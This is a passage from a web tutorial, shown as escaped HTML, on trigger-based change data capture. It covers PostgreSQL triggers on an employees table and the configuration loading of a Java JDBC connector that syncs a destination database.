&lt;span class="k"&gt;AFTER&lt;/span&gt; &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;DELETE&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;FOR&lt;/span&gt; &lt;span class="k"&gt;EACH&lt;/span&gt; &lt;span class="k"&gt;ROW&lt;/span&gt;
&lt;span class="k"&gt;EXECUTE&lt;/span&gt; &lt;span class="k"&gt;FUNCTION&lt;/span&gt; &lt;span class="n"&gt;capture_employee_changes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify trigger creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;trigger_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_manipulation&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;triggers&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_object_table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'employees'&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_manipulation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Understanding the Trigger Definition
&lt;/h4&gt;

&lt;p&gt;Let's examine the important statements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Removing an Existing Trigger&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;employee_changes_trigger&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This statement removes the existing trigger if it is already present on the &lt;code&gt;employees&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;Using &lt;code&gt;IF EXISTS&lt;/code&gt; prevents an error if the trigger does not exist.&lt;/p&gt;

&lt;p&gt;This makes the script easier to execute repeatedly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Creating the Trigger&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TRIGGER&lt;/span&gt; &lt;span class="n"&gt;employee_changes_trigger&lt;/span&gt;
&lt;span class="k"&gt;AFTER&lt;/span&gt; &lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;DELETE&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;FOR&lt;/span&gt; &lt;span class="k"&gt;EACH&lt;/span&gt; &lt;span class="k"&gt;ROW&lt;/span&gt;
&lt;span class="k"&gt;EXECUTE&lt;/span&gt; &lt;span class="k"&gt;FUNCTION&lt;/span&gt; &lt;span class="n"&gt;capture_employee_changes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's break down this statement:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;employee_changes_trigger&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Name of the trigger.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AFTER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes the trigger after the specified database operation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;INSERT OR UPDATE OR DELETE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specifies the operations that activate the trigger.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ON employees&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Attaches the trigger to the source &lt;code&gt;employees&lt;/code&gt; table.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FOR EACH ROW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes the trigger separately for every affected row.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EXECUTE FUNCTION&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Invokes the &lt;code&gt;capture_employee_changes()&lt;/code&gt; function.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Because this is a row-level trigger, the function executes once for each affected row.&lt;/p&gt;

&lt;p&gt;For example, if an UPDATE statement modifies five employee records, the trigger function executes five times, generating five CDC events.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Verifying Trigger Creation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The final query checks PostgreSQL's &lt;code&gt;information_schema.triggers&lt;/code&gt; view to verify that the trigger exists and identify the operations associated with it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Execute the SQL Script
&lt;/h4&gt;

&lt;p&gt;Run the following command from the project root directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source &lt;span class="nt"&gt;-f&lt;/span&gt; sql/04_create_cdc_trigger.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The verification query should return the trigger name and its associated operations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;       trigger_name       | event_manipulation
--------------------------+-------------------
 employee_changes_trigger | DELETE
 employee_changes_trigger | INSERT
 employee_changes_trigger | UPDATE
(3 rows)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trigger is now installed on the source &lt;code&gt;employees&lt;/code&gt; table.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 Understanding the Transactional Behavior
&lt;/h3&gt;

&lt;p&gt;An important characteristic of our implementation is that the employee change and the corresponding CDC event are written within the same source database transaction.&lt;/p&gt;

&lt;p&gt;For example, when an application inserts a new employee:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;PostgreSQL inserts the employee record into &lt;code&gt;employees&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The AFTER INSERT trigger executes.&lt;/li&gt;
&lt;li&gt;The trigger function inserts the corresponding event into &lt;code&gt;cdc_events&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Both operations participate in the same transaction.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the source transaction is committed, both the employee record and its CDC event are committed. If the transaction is rolled back, both are rolled back.&lt;/p&gt;

&lt;p&gt;This ensures that the CDC event is not committed independently of the corresponding source database change.&lt;/p&gt;

&lt;p&gt;The Java CDC connector will read these events from &lt;code&gt;cdc_events&lt;/code&gt; and apply them to the destination database. We will implement that connector in a later section.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this section, we implemented PostgreSQL trigger-based change capture.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Created the &lt;code&gt;capture_employee_changes()&lt;/code&gt; trigger function.&lt;/li&gt;
&lt;li&gt;Implemented handling for INSERT, UPDATE, and DELETE operations.&lt;/li&gt;
&lt;li&gt;Created the &lt;code&gt;employee_changes_trigger&lt;/code&gt; on the source &lt;code&gt;employees&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;Configured the trigger to execute once for every affected row.&lt;/li&gt;
&lt;li&gt;Ensured that source changes and CDC event records participate in the same transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our PostgreSQL source database can now capture employee changes automatically. In the next section, we will begin implementing the Java CDC connector that reads these events and synchronizes them with the destination database.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Implementing the Java CDC Connector
&lt;/h2&gt;

&lt;p&gt;In the previous section, we implemented PostgreSQL triggers to capture INSERT, UPDATE, and DELETE operations on the source &lt;code&gt;employees&lt;/code&gt; table. These changes are recorded in the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;Now we will implement the Java CDC connector that reads these events and applies the corresponding changes to the destination database.&lt;/p&gt;

&lt;p&gt;The connector uses JDBC to communicate with both PostgreSQL databases and Jackson to process the JSONB data stored in the CDC events.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 Understanding the Connector Structure and Configuration
&lt;/h3&gt;

&lt;p&gt;Before implementing the CDC processing logic, let's understand the structure of the Java connector and how its configuration is managed.&lt;/p&gt;

&lt;p&gt;The main Java class is named &lt;code&gt;CDCConnector&lt;/code&gt; and belongs to the following package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.clockwise.cdc&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector uses several Java standard libraries and the Jackson library.&lt;/p&gt;

&lt;h4&gt;
  
  
  Required Imports
&lt;/h4&gt;

&lt;p&gt;The following imports are used in the implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;com.fasterxml.jackson.databind.JsonNode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;com.fasterxml.jackson.databind.ObjectMapper&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.math.BigDecimal&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.Connection&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.DriverManager&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.PreparedStatement&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.ResultSet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.SQLException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.sql.Types&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.FileInputStream&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Properties&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the purpose of the important classes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Connection&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Represents a connection to a PostgreSQL database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DriverManager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Establishes database connections using JDBC.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PreparedStatement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes parameterized SQL statements.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ResultSet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads query results from the database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SQLException&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Handles database-related exceptions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;JsonNode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Represents JSON data retrieved from CDC events.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ObjectMapper&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parses JSON strings into Jackson JSON objects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BigDecimal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Handles employee salary values with decimal precision.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Properties&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads configuration settings from a properties file.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ArrayList&lt;/code&gt; and &lt;code&gt;List&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Store and manage fetched CDC events.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Loading Configuration from application.properties
&lt;/h4&gt;

&lt;p&gt;Rather than hardcoding database connection details and processing parameters throughout the Java code, the connector loads its configuration from an external file named &lt;code&gt;application.properties&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The following configuration is used by our project:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;application.properties&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;source.db.url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;jdbc:postgresql://localhost:5432/cdc_source&lt;/span&gt;
&lt;span class="py"&gt;destination.db.url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;jdbc:postgresql://localhost:5432/cdc_destination&lt;/span&gt;
&lt;span class="py"&gt;db.username&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;postgres&lt;/span&gt;

&lt;span class="py"&gt;cdc.polling.interval.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;2000&lt;/span&gt;
&lt;span class="py"&gt;cdc.batch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;
&lt;span class="py"&gt;cdc.fetch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;
&lt;span class="py"&gt;cdc.max.retries&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;
&lt;span class="py"&gt;cdc.retry.delay.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1000&lt;/span&gt;
&lt;span class="py"&gt;cdc.reconnect.delay.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;5000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's understand these properties:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;source.db.url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JDBC URL for connecting to the source database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;destination.db.url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JDBC URL for connecting to the destination database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;db.username&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Database username used for both connections.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.polling.interval.ms&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Time interval between polling cycles, in milliseconds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.batch.size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Number of CDC events processed in a destination transaction.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.fetch.size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maximum number of CDC events retrieved in one source query.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.max.retries&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maximum number of retries after the initial transaction attempt.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.retry.delay.ms&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial delay between transaction retry attempts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cdc.reconnect.delay.ms&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delay before attempting to reconnect after a database connection failure.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The values shown above are the configuration used in our demonstration. We will examine batch processing, pagination, retries, and reconnection in more detail in the subsequent sections.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading the Configuration File
&lt;/h4&gt;

&lt;p&gt;The connector loads the properties using the &lt;code&gt;loadConfiguration()&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;Properties&lt;/span&gt; &lt;span class="nf"&gt;loadConfiguration&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;Properties&lt;/span&gt; &lt;span class="n"&gt;properties&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Properties&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;FileInputStream&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;FileInputStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"application.properties"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;load&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Configuration loaded from application.properties"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Unable to load application.properties"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The method performs the following steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates a &lt;code&gt;Properties&lt;/code&gt; object.&lt;/li&gt;
&lt;li&gt;Opens &lt;code&gt;application.properties&lt;/code&gt; using &lt;code&gt;FileInputStream&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Loads the configuration values using &lt;code&gt;properties.load()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Returns the populated &lt;code&gt;Properties&lt;/code&gt; object.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the configuration file cannot be opened or read, the method throws an &lt;code&gt;IllegalStateException&lt;/code&gt;, preventing the connector from starting with missing configuration.&lt;/p&gt;

&lt;p&gt;The file is opened using a relative path, so the connector expects &lt;code&gt;application.properties&lt;/code&gt; to be available in its working directory.&lt;/p&gt;

&lt;h4&gt;
  
  
  Defining Configuration Constants
&lt;/h4&gt;

&lt;p&gt;The connector loads the configuration once when the class is initialized and stores the values in static constants.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Properties&lt;/span&gt; &lt;span class="no"&gt;CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;loadConfiguration&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;SOURCE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"source.db.url"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;DESTINATION_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"destination.db.url"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;CONFIG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"db.username"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"postgres"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;getProperty()&lt;/code&gt; method retrieves the configured values. For the database username, the connector uses &lt;code&gt;postgres&lt;/code&gt; as the default if the property is not specified.&lt;/p&gt;

&lt;p&gt;The database password is handled separately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getenv&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DB_PASSWORD"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of storing the database password in &lt;code&gt;application.properties&lt;/code&gt;, the connector reads it from the &lt;code&gt;DB_PASSWORD&lt;/code&gt; environment variable.&lt;/p&gt;

&lt;p&gt;This avoids placing database credentials directly in the configuration file or source code.&lt;/p&gt;

&lt;h4&gt;
  
  
  CDC Processing Parameters
&lt;/h4&gt;

&lt;p&gt;The connector also defines several parameters that control its processing behavior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
